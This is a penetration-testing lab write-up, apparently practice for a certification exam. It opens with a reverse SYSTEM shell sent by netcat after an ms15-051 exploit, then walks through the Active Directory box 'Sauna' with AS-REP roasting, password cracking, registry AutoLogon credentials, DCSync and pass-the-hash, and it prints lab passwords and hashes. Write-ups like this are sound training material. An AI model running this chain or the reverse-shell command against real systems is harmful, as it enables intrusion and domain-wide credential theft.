Elevation works. Spawn the SYSTEM shell back to a netcat listener:

PS C:\Windows\Tasks> .\ms15-051x64.exe "nc.exe -e cmd.exe 10.10.14.127 1339"
$ nc -lvnp 1339
listening on [any] 1339 ...
connect to [10.10.14.127] from (UNKNOWN) [10.129.4.108] 61206
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\tasks>whoami
nt authority\system

C:\Windows\tasks>type C:\Users\Administrator\Desktop\root.txt
<redacted>

Box pwned.


Sauna - Windows (AD)

tun0   = 10.10.14.127
target = 10.129.95.180

RECON

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-28 07:43:25Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-05-28T07:44:16
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 7h00m00s

The full DC service stack - DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985) - plus an IIS site on 80. Domain is EGOTISTICAL-BANK.LOCAL, host SAUNA. So this is the AD box of the set: foothold will almost certainly come from a username, and the path to DA from an AD misconfig rather than a kernel exploit.

Note: clock-skew: 7h00m00s. Doesn't bite us here - the whole chain runs over NTLM and AS-REP (no pre-auth, no TGT to validate against the DC clock). If any step needed a Kerberos ticket I'd ntpdate/rdate the DC first.

ENUM

:80 is the default Egotistical Bank corporate site - nothing functional, no login, no upload. Park it for now and confirm the domain over LDAP:

$ ldapsearch -x -H ldap://10.129.95.180 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

Anonymous LDAP only gives the naming contexts - no anonymous bind for user objects, and SMB null session is a dead end too. So no user list from the directory directly.

Back to :80. The site's About / Team page lists employee full names. Scrape those into a file and turn them into a realistic candidate username list with username-anarchy (handles all the f.smith / fsmith / smithf permutations a Windows AD naming policy might use):

$ ./username-anarchy -i names.txt > users.txt

Initial Foothold

With a username list and no creds, the cheapest AD primitive to try is AS-REP Roasting - any account with Do not require Kerberos pre-authentication set will hand out an AS-REP encrypted under its password hash, no auth required:

$ impacket-GetNPUsers -usersfile users.txt -request -format hashcat \
      -outputfile asrep.txt -dc-ip 10.129.95.180 'EGOTISTICAL-BANK.LOCAL/' -no-pass

One account comes back roastable - fsmith. The AS-REP is etype 23, so hashcat mode 18200:

$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
...
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:24f6d4ec...539:Thestrokes23

Cracks to fsmith : Thestrokes23. WinRM (5985) is open, so straight into evil-winrm:

$ evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
<redacted>

User pwned.

Lateral Movement

Run BloodHound collection from the fsmith context to map the domain:

$ bloodhound-python -d EGOTISTICAL-BANK.LOCAL -u fsmith -p Thestrokes23 \
      -ns 10.129.95.180 -c All --zip

Nothing actionable hangs off fsmith directly - no outbound ACLs, no group memberships worth abusing. So pivot to local enumeration on the box itself with winPEAS:

Looking for AutoLogon credentials (T1552.002)
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

AutoLogon creds sitting in the registry (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon) in cleartext - a second service identity, svc_loanmgr / Moneymakestheworldgoround!.

Gotcha: the DefaultUserName reads svc_loanmanager, but the actual SAM account is svc_loanmgr. Authenticating as svc_loanmanager fails - confirm the real account name in BloodHound / net user /domain before assuming the display value is the logon name.

Privesc

Re-check the new identity in BloodHound. svc_loanmgr holds GetChangesAll (DS-Replication-Get-Changes-All) over the domain object - i.e. DCSync rights. That's game over: we can ask the DC to replicate any account's secrets, including the krbtgt and Administrator hashes.

image

DCSync the Administrator account with secretsdump:

$ impacket-secretsdump EGOTISTICAL-BANK/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180 -just-dc-user Administrator
Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
[*] Cleaning up...

We have the Administrator NT hash - no need to crack it, just pass-the-hash straight into WinRM:

$ evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>

Box pwned.


Footnote - how it went

Overall pretty happy. Cleared all four for 70/70 - a pass on real-exam scoring - and the report-as-you-go discipline held up with no scrambling to reconstruct steps at the end.

Main takeaway: I need more reps in AD environments. Sauna went down fine, but the chain was still something I had to think through instead of just running, and that's the kind of hesitation that eats clock on exam day. Next mock gets a heavier AD weighting.